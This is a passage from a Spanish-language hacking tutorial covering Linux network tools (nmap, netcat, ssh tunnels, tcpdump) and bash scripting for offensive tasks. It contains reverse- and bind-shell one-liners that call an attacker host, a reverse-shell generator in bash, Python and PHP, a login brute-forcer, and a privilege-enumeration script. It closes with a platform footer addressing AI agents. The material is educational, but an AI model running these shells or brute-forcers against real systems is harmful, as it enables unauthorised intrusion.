# Proto Local Address      Foreign Address    State       PID/Program
# tcp   0.0.0.0:22         0.0.0.0:*          LISTEN      1234/sshd
# tcp   192.168.1.5:22     192.168.1.100:45678 ESTABLISHED 5678/sshd

# Estados explicados:
# LISTEN     = Esperando conexiones
# ESTABLISHED = Conexión activa
# TIME_WAIT  = Esperando después de cerrar
# CLOSE_WAIT = Remoto cerrado, esperando cierre local

# ==================== LSOF - LISTAR ARCHIVOS ABIERTOS ====================

lsof -i                    # Todos los archivos de red
lsof -i :22                # Qué está usando el puerto 22
lsof -i @192.168.1.100     # Conexiones a IP específica
lsof -i tcp                # Todas las conexiones TCP
lsof -u root -i            # Archivos de red del usuario root

# Práctico: Encontrar listeners ocultos
netstat -tuln | grep LISTEN
ss -tuln | grep LISTEN
lsof -i -P | grep LISTEN
```

***

### Herramientas de Reconocimiento de Red

```bash
# ==================== PING Y CONECTIVIDAD ====================

ping 8.8.8.8               # Probar conectividad (ICMP)
ping -c 4 google.com       # Solo 4 pings
ping -i 0.2 target         # Ping rápido (intervalo 0.2 seg)

# Barrido de ping (encontrar hosts vivos)
for i in $(seq 1 254); do
    ping -c 1 -W 1 192.168.1.$i &>/dev/null && echo "192.168.1.$i is up" &
done; wait

# O usar fping (más rápido)
fping -a -g 192.168.1.0/24 2>/dev/null

# ==================== TRACEROUTE ====================

traceroute google.com      # Rastrear ruta de red
traceroute -n google.com   # Numérico (sin búsqueda DNS)
traceroute -T google.com   # TCP en lugar de UDP
mtr google.com             # Traceroute continuo (interactivo)

# ==================== NMAP - EL REY DE LOS ESCÁNERES ====================

# Descubrimiento de hosts
nmap -sn 192.168.1.0/24           # Barrido de ping (sin escaneo de puertos)
nmap -Pn target                    # Saltar ping, asumir que el host está activo

# Escaneo de puertos
nmap target                        # Por defecto (top 1000 puertos)
nmap -p 22,80,443 target          # Puertos específicos
nmap -p- target                    # Todos los 65535 puertos
nmap -p 1-1000 target             # Rango de puertos
nmap --top-ports 100 target       # Top 100 puertos

# Tipos de escaneo
nmap -sT target                    # TCP connect (handshake completo)
nmap -sS target                    # Escaneo SYN (sigiloso, necesita root)
nmap -sU target                    # Escaneo UDP (¡lento!)
nmap -sV target                    # Detección de versiones
nmap -sC target                    # Scripts por defecto
nmap -O target                     # Detección de OS

# Escaneos combinados
nmap -sV -sC -O target             # Versión + scripts + OS
nmap -A target                     # Agresivo (todo lo anterior)
nmap -sS -sV -sC -p- -T4 target   # Escaneo exhaustivo

# Formatos de salida
nmap -oN output.txt target         # Salida normal
nmap -oX output.xml target         # Salida XML
nmap -oG output.gnmap target       # Salida "grepable"
nmap -oA output target             # Todos los formatos

# Motor de scripting (NSE)
nmap --script vuln target          # Scripts de vulnerabilidades
nmap --script http-* target        # Todos los scripts HTTP
nmap --script smb-vuln* target     # Vulnerabilidades SMB
```

***

### Transferencia de Datos y Acceso Remoto

```bash
# ==================== CURL - NAVAJA SUIZA ====================

curl http://example.com              # Obtener página
curl -o file.html http://example.com # Guardar en archivo
curl -O http://example.com/file.zip  # Guardar con nombre original
curl -I http://example.com           # Solo encabezados
curl -v http://example.com           # Detallado (ver encabezados)
curl -X POST -d "data=value" URL     # Petición POST
curl -u user:pass http://example.com # Autenticación básica
curl -k https://example.com          # Ignorar errores SSL
curl -L http://example.com           # Seguir redirecciones
curl -b "cookie=value" http://example.com  # Enviar cookies

# ==================== WGET - GESTOR DE DESCARGAS ====================

wget http://example.com/file.zip    # Descargar archivo
wget -O newname.zip URL             # Guardar con nombre diferente
wget -c URL                         # Continuar descarga interrumpida
wget -r http://example.com          # Descarga recursiva (mirror)
wget -q URL                         # Modo silencioso
wget --spider URL                   # Solo verificar si existe

# ==================== COPIA SEGURA (SCP) ====================

scp file.txt user@host:/path/       # Subir archivo
scp user@host:/path/file.txt ./     # Descargar archivo
scp -r folder/ user@host:/path/     # Copiar directorio
scp -P 2222 file.txt user@host:/    # Puerto SSH personalizado

# ==================== SSH - SHELL SEGURO ====================

ssh user@host                       # Conectar
ssh -p 2222 user@host               # Puerto personalizado
ssh -i key.pem user@host            # Usar clave privada

# Reenvío de puertos SSH (¡CRUCIAL para hacking!)

# Reenvío de puerto local: Acceder a servicio remoto a través de puerto local
ssh -L 8080:localhost:80 user@host
# Ahora http://localhost:8080 va al puerto 80 del host

# Reenvío de puerto remoto: Exponer servicio local al host remoto
ssh -R 9999:localhost:22 user@host
# Ahora el host puede hacer ssh a localhost:9999 para alcanzar tu máquina

# Dinámico (proxy SOCKS)
ssh -D 9050 user@host
# Ahora configura el navegador/herramientas para usar proxy SOCKS en 9050

# SSH a través de jump host
ssh -J jumphost user@target

# ==================== NETCAT - EL AMIGO DEL HACKER ====================

# Conectar a puerto
nc host 80                          # Conectar a host:80
echo "GET /" | nc host 80           # Enviar petición HTTP

# Escuchar en puerto
nc -lvnp 4444                       # Escuchar en puerto 4444

# Transferir archivos
nc -lvnp 4444 > received.txt        # Receptor
nc host 4444 < file.txt             # Emisor

# Reverse shell (clásico)
nc -e /bin/bash attacker 4444       # En objetivo (si nc tiene -e)
nc -lvnp 4444                       # En atacante

# Bind shell
nc -lvnp 4444 -e /bin/bash          # En objetivo (si nc tiene -e)
nc target 4444                      # En atacante
```

***

### Captura y Análisis de Paquetes

```bash
# ==================== TCPDUMP - SNIFFER DE LÍNEA DE COMANDOS ====================

tcpdump                             # Capturar todo el tráfico
tcpdump -i eth0                     # Interfaz específica
tcpdump -n                          # Sin resolución DNS (más rápido)
tcpdump -v                          # Detallado
tcpdump -X                          # Mostrar contenido de paquetes en hex/ASCII

# Filtros
tcpdump host 192.168.1.100          # Tráfico hacia/desde host
tcpdump src 192.168.1.100           # Solo desde este host
tcpdump dst 192.168.1.100           # Solo hacia este host
tcpdump port 80                     # Tráfico HTTP
tcpdump "port 80 or port 443"       # HTTP o HTTPS
tcpdump tcp                         # Solo TCP
tcpdump icmp                        # Solo ICMP (ping)

# Guardar en archivo
tcpdump -w capture.pcap             # Escribir a archivo
tcpdump -r capture.pcap             # Leer desde archivo

# Capturas prácticas
tcpdump -i eth0 port 80 -A          # Ver contenido HTTP
tcpdump -i eth0 'tcp[13] & 2 != 0'  # Solo paquetes SYN

# ==================== WIRESHARK (GRÁFICO) ====================

wireshark                           # Analizador de paquetes GUI
tshark                              # Wireshark de línea de comandos
tshark -i eth0 -f "port 80"         # Capturar HTTP
```

{% hint style="danger" %}

## Advertencia Legal

El escaneo de red y la captura de paquetes en redes que no posees o para las que no tienes permiso explícito de prueba es **ilegal** en la mayoría de jurisdicciones. Siempre:

* <mark style="color:$info;">Obtén permiso por escrito antes de escanear</mark>
* <mark style="color:$info;">Usa solo en entornos de laboratorios autorizados</mark>
* <mark style="color:$info;">Entiende las leyes locales</mark>
* <mark style="color:$info;">Documenta tu autorización</mark>
  {% endhint %}

<figure><img src="/files/YcEuzgSmZd4OtkaQ6Ojw" alt=""><figcaption></figcaption></figure>

## Bash Scripting: Automatización para Hackers

Los scripts automatizan tareas repetitivas y amplifican tus capacidades. Ya sea reconocimiento, explotación, post-explotación o exfiltración de datos, los scripts convierten horas de trabajo manual en segundos de ejecución automatizada.&#x20;

<details>

<summary>🤖 El Multiplicador de Automatización (click aquí)</summary>

Piensa en los scripts como tener un ejército de clones:<br>

* <mark style="color:$info;">**Manual:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Haces ping a 254 hosts, uno a la vez, tardando 30 minutos</mark>
* <mark style="color:$info;">**Script:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Tu script hace ping a los 254 hosts en paralelo, tardando 10 segundos</mark>
* <mark style="color:$info;">**Manual:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Pruebas 100 contraseñas contra un formulario de login, tardando horas</mark>
* <mark style="color:$info;">**Script:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Tu script prueba 10.000 contraseñas en minutos</mark>

Los scripts no se cansan, no cometen errores tipográficos y nunca necesitan descansos para café.

</details>

***

### Fundamentos y Estructura de Scripts

```bash
#!/bin/bash
# ==================== EL SHEBANG ====================
# La primera línea (#!/bin/bash) le dice a Linux qué intérprete usar
# Otras opciones:
#!/bin/sh        # Shell POSIX (más portable)
#!/usr/bin/env bash  # Busca bash en PATH (más portable)
#!/usr/bin/python3   # Script de Python

# ==================== HACER SCRIPTS EJECUTABLES ====================
chmod +x script.sh    # Añadir permiso de ejecución
./script.sh           # Ejecutar el script
bash script.sh        # O ejecutar con bash directamente

# ==================== VARIABLES ====================

name="hacker"              # Sin espacios alrededor del =
target_ip="192.168.1.1"    # Usa nombres descriptivos
port_range="1-1000"

echo "Hello, $name"        # Variables con $
echo "Scanning ${target_ip}:${port_range}"  # Llaves para claridad

# Sustitución de comandos - almacenar salida de comandos
current_date=$(date)
my_ip=$(hostname -I | awk '{print $1}')
open_ports=$(nmap -p- $target_ip | grep open)

# Variables de solo lectura
readonly API_KEY="secret123"
API_KEY="new"  # ¡Error! No se puede cambiar readonly

# ==================== ENTRADA DE USUARIO ====================

read -p "Enter target IP: " target
echo "You entered: $target"

read -sp "Enter password: " password  # -s = silencioso (sin eco)
echo ""

read -t 5 -p "Quick! Enter value (5 sec): " quick_value  # Timeout

# ==================== VARIABLES ESPECIALES ====================

$0          # Nombre del script
$1, $2, $3  # Parámetros posicionales (argumentos)
$#          # Número de argumentos
$@          # Todos los argumentos como palabras separadas
$*          # Todos los argumentos como cadena única
$?          # Estado de salida del último comando
$$          # PID del script actual
$!          # PID del último comando en segundo plano

# Ejemplo:
# ./script.sh target1 target2 target3
# $0 = ./script.sh
# $1 = target1
# $2 = target2
# $# = 3
```

***

### Condiciones y Lógica

```bash
# ==================== SENTENCIAS IF ====================

if [ condition ]; then
    # comandos
elif [ condition ]; then
    # comandos
else
    # comandos
fi

# ==================== PRUEBAS DE ARCHIVOS ====================

if [ -f "/etc/passwd" ]; then
    echo "¡El archivo existe!"
fi

# Pruebas de archivos comunes:
[ -f file ]     # Archivo regular existe
[ -d dir ]      # Directorio existe
[ -e path ]     # Cualquier cosa existe
[ -r file ]     # Archivo es legible
[ -w file ]     # Archivo es escribible
[ -x file ]     # Archivo es ejecutable
[ -s file ]     # Archivo no está vacío
[ -L file ]     # Archivo es enlace simbólico

# ==================== PRUEBAS DE CADENAS ====================

if [ "$name" = "hacker" ]; then
    echo "¡Bienvenido, hacker!"
fi

[ "$a" = "$b" ]     # Cadenas son iguales
[ "$a" != "$b" ]    # Cadenas no son iguales
[ -z "$a" ]         # Cadena está vacía
[ -n "$a" ]         # Cadena no está vacía

# ==================== COMPARACIONES NUMÉRICAS ====================

if [ $port -eq 22 ]; then
    echo "¡Puerto SSH!"
fi

[ $a -eq $b ]    # Igual
[ $a -ne $b ]    # No igual
[ $a -lt $b ]    # Menor que
[ $a -le $b ]    # Menor o igual que
[ $a -gt $b ]    # Mayor que
[ $a -ge $b ]    # Mayor o igual que

# ==================== OPERADORES LÓGICOS ====================

# AND
if [ -f file ] && [ -r file ]; then
    echo "El archivo existe y es legible"
fi

# OR
if [ $port -eq 80 ] || [ $port -eq 443 ]; then
    echo "Puerto web"
fi

# NOT
if [ ! -f file ]; then
    echo "El archivo no existe"
fi

# ==================== SENTENCIAS CASE ====================

case $protocol in
    http)
        port=80
        ;;
    https)
        port=443
        ;;
    ssh)
        port=22
        ;;
    *)
        port=0
        echo "Protocolo desconocido"
        ;;
esac
```

***

### Bucles e Iteración

```bash
# ==================== BUCLES FOR ====================

# Sintaxis básica
for item in list; do
    # comandos
done

# Bucle a través de lista
for ip in 192.168.1.1 192.168.1.2 192.168.1.3; do
    echo "Escaneando $ip"
done

# Expansión de llaves (¡súper útil!)
for i in {1..10}; do
    echo "Número: $i"
done

for ip in 192.168.1.{1..254}; do
    ping -c 1 -W 1 $ip &>/dev/null && echo "$ip está activo"
done

# Bucle for estilo C
for ((i=1; i<=100; i++)); do
    echo "Iteración $i"
done

# Bucle a través de salida de comando
for file in $(ls *.txt); do
    echo "Procesando $file"
done

# Bucle a través de líneas de archivo
while read line; do
    echo "$line"
done < /etc/passwd

# ==================== BUCLES WHILE ====================

counter=0
while [ $counter -lt 10 ]; do
    echo "Cuenta: $counter"
    ((counter++))
done

# Bucle infinito (útil para monitoreo)
while true; do
    echo "Ejecutando..."
    sleep 60
done

# Leer archivo línea por línea
while IFS= read -r line; do
    echo "Línea: $line"
done < file.txt

# ==================== BUCLES UNTIL ====================

until [ -f /tmp/signal ]; do
    echo "Esperando archivo de señal..."
    sleep 5
done

# ==================== CONTROL DE BUCLES ====================

break       # Salir del bucle inmediatamente
continue    # Saltar a la siguiente iteración
```

***

### Funciones y Organización

```bash
# ==================== DEFINIR FUNCIONES ====================

# Función simple
scan_host() {
    ping -c 1 -W 1 $1 &>/dev/null && echo "$1 está activo" || echo "$1 está inactivo"
}

# Llamar a la función
scan_host 192.168.1.1
scan_host 192.168.1.2

# Función con múltiples parámetros
scan_port() {
    local host=$1
    local port=$2
    timeout 1 bash -c "echo >/dev/tcp/$host/$port" 2>/dev/null
    if [ $? -eq 0 ]; then
        echo "[+] $host:$port está abierto"
        return 0
    else
        echo "[-] $host:$port está cerrado"
        return 1
    fi
}

# Llamar con parámetros
scan_port 192.168.1.1 22
scan_port 192.168.1.1 80

# ==================== VARIABLES LOCALES ====================

my_function() {
    local my_var="solo visible dentro de la función"
    global_var="visible en todas partes"
}

# ==================== VALORES DE RETORNO ====================

is_alive() {
    ping -c 1 -W 1 $1 &>/dev/null
    return $?  # Devolver código de salida de ping
}

if is_alive 192.168.1.1; then
    echo "¡El host está activo!"
fi

# ==================== CAPTURAR SALIDA ====================

get_ip() {
    hostname -I | awk '{print $1}'
}

my_ip=$(get_ip)
echo "Mi IP es: $my_ip"
```

***

### Scripts Prácticos de Hacking

```bash
#!/bin/bash
# ==================== ESCÁNER DE RED ====================

echo "=== Escáner de Red ==="
echo "Escaneando 192.168.1.0/24..."

for ip in 192.168.1.{1..254}; do
    ping -c 1 -W 1 $ip &>/dev/null && echo "[+] $ip está activo" &
done
wait
echo "=== Escaneo Completo ==="

# ==================== ESCÁNER DE PUERTOS ====================
#!/bin/bash

target=$1
start_port=${2:-1}
end_port=${3:-1024}

echo "Escaneando $target puertos $start_port-$end_port"

for port in $(seq $start_port $end_port); do
    timeout 1 bash -c "echo >/dev/tcp/$target/$port" 2>/dev/null
    if [ $? -eq 0 ]; then
        echo "[ABIERTO] Puerto $port"
    fi
done

# ==================== FUERZA BRUTA DE CONTRASEÑAS (EDUCACIONAL) ====================
#!/bin/bash

target=$1
username=$2
wordlist=$3

while read password; do
    response=$(curl -s -d "user=$username&pass=$password" $target/login)
    if [[ ! "$response" =~ "failed" ]]; then
        echo "[+] Contraseña encontrada: $password"
        exit 0
    fi
done < "$wordlist"

echo "[-] Contraseña no encontrada"

# ==================== GENERADOR DE REVERSE SHELL ====================
#!/bin/bash

echo "Generador de Reverse Shell"
read -p "Tu IP: " ip
read -p "Tu Puerto: " port

echo ""
echo "=== Bash ==="
echo "bash -i >& /dev/tcp/$ip/$port 0>&1"
echo ""
echo "=== Python ==="
echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$ip\",$port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'"
echo ""
echo "=== Netcat ==="
echo "nc -e /bin/bash $ip $port"
echo ""
echo "=== PHP ==="
echo "php -r '\$sock=fsockopen(\"$ip\",$port);exec(\"/bin/bash -i <&3 >&3 2>&3\");'"

# ==================== SCRIPT DE ENUMERACIÓN ====================
#!/bin/bash

echo "=== Enumeración del Sistema ==="
echo "[*] Hostname: $(hostname)"
echo "[*] Kernel: $(uname -a)"
echo "[*] Usuario Actual: $(whoami)"
echo "[*] ID de Usuario: $(id)"
echo ""
echo "[*] Interfaces de Red:"
ip a 2>/dev/null || ifconfig
echo ""
echo "[*] Puertos Escuchando:"
netstat -tuln 2>/dev/null || ss -tuln
echo ""
echo "[*] Binarios SUID:"
find / -perm -4000 -type f 2>/dev/null
echo ""
echo "[*] Archivos Escribibles por Todos:"
find / -perm -2 -type f 2>/dev/null | head -20
echo ""
echo "[*] Archivos Interesantes:"
ls -la /etc/passwd /etc/shadow /etc/sudoers 2>/dev/null
```

***

### Manejo de Errores y Mejores Prácticas

```bash
# ==================== CÓDIGOS DE SALIDA ====================

# 0 = éxito, distinto de cero = fallo
exit 0      # Éxito
exit 1      # Error genérico
exit 2      # Mal uso del comando

# Verificar código de salida del último comando
command
if [ $? -eq 0 ]; then
    echo "Comando exitoso"
else
    echo "Comando falló con código $?"
fi

# ==================== MANEJO DE ERRORES ====================

set -e          # Salir ante cualquier error
set -u          # Salir ante variable no definida
set -o pipefail # Capturar errores en tuberías
set -x          # Debug: imprimir cada comando

# Combinado (poner al inicio de scripts):
set -euo pipefail

# O manejar errores manualmente
command || { echo "¡Error!"; exit 1; }
command || exit 1

# ==================== DEPURACIÓN ====================

# Añadir -x al shebang
#!/bin/bash -x

# O habilitar/deshabilitar en el script
set -x    # Habilitar debug
# ... código ...
set +x    # Deshabilitar debug

# ==================== VALIDACIÓN DE ENTRADA ====================

if [ $# -lt 2 ]; then
    echo "Uso: $0 <host> <puerto>"
    exit 1
fi

# Validar formato de IP
if [[ ! $1 =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
    echo "Dirección IP inválida"
    exit 1
fi

# ==================== LIMPIEZA ====================

# Capturar señales para limpieza
cleanup() {
    echo "Limpiando..."
    rm -f /tmp/tempfile
    kill $background_pid 2>/dev/null
}

trap cleanup EXIT   # Ejecutar al salir del script
trap cleanup INT    # Ejecutar en Ctrl+C
trap cleanup TERM   # Ejecutar al matar
```

{% hint style="info" icon="lightbulb" %}

## &#x20;Consejos para Desarrollo de Scripts

* <mark style="color:$info;">**Empieza simple:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Haz que funcione, luego optimiza</mark>
* <mark style="color:$info;">**Prueba frecuentemente:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Ejecuta después de cada cambio</mark>
* <mark style="color:$info;">**Comenta todo:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Tu yo del futuro te lo agradecerá</mark>
* <mark style="color:$info;">**Usa funciones:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Código reutilizable y testeable</mark>
* <mark style="color:$info;">**Maneja errores:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Espera que las cosas fallen</mark>
* <mark style="color:$info;">**Valida entrada:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Nunca confíes en la entrada del usuario</mark>
* <mark style="color:$info;">**Usa ShellCheck:**</mark> <mark style="color:$info;">`shellcheck script.sh`</mark> <mark style="color:$info;"></mark><mark style="color:$info;">detecta bugs</mark>&#x20;
  {% endhint %}

<table data-card-size="large" data-view="cards"><thead><tr><th align="center"></th><th></th></tr></thead><tbody><tr><td align="center"><h4><strong>📚 Recursos de Práctica</strong></h4></td><td><ul><li><mark style="color:$info;">OverTheWire: Bandit - Aprende bash a través de desafíos</mark></li><li><mark style="color:$info;">HackTheBox - Escenarios de scripting del mundo real</mark></li><li><mark style="color:$info;">PicoCTF - Desafios CTF que requieren scripts</mark></li><li><mark style="color:$info;">explainshell.com - Entiende comandos complejos</mark></li></ul></td></tr><tr><td align="center"><h4>🔧 Herramientas Esenciales</h4></td><td><ul><li><mark style="color:$info;">ShellCheck - Linter de scripts Bash</mark></li><li><mark style="color:$info;">vim/nano - Editores de texto en terminal</mark></li><li><mark style="color:$info;">tmux/screen - Multiplexor de terminal</mark></li><li><mark style="color:$info;">git - Control de versiones para tus scripts</mark> </li></ul></td></tr></tbody></table>

***

<h4 align="center">Apoya este proyecto ☕</h4>

<p align="center">¿Te ha servido de ayuda? Si este contenido te ha sido útil, puedes apoyar mi trabajo invitándome a un café en Ko-fi. ¡Gracias por leer!</p>

<figure><img src="/files/4ZihYi4VKdzgw2DVeXGn" alt="" width="563"><figcaption><p><a href="https://ko-fi.com/hollowsec">https://ko-fi.com/hollowsec</a></p></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xnotkyo.gitbook.io/faq.hollowsec/hacking/dominio-de-linux.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
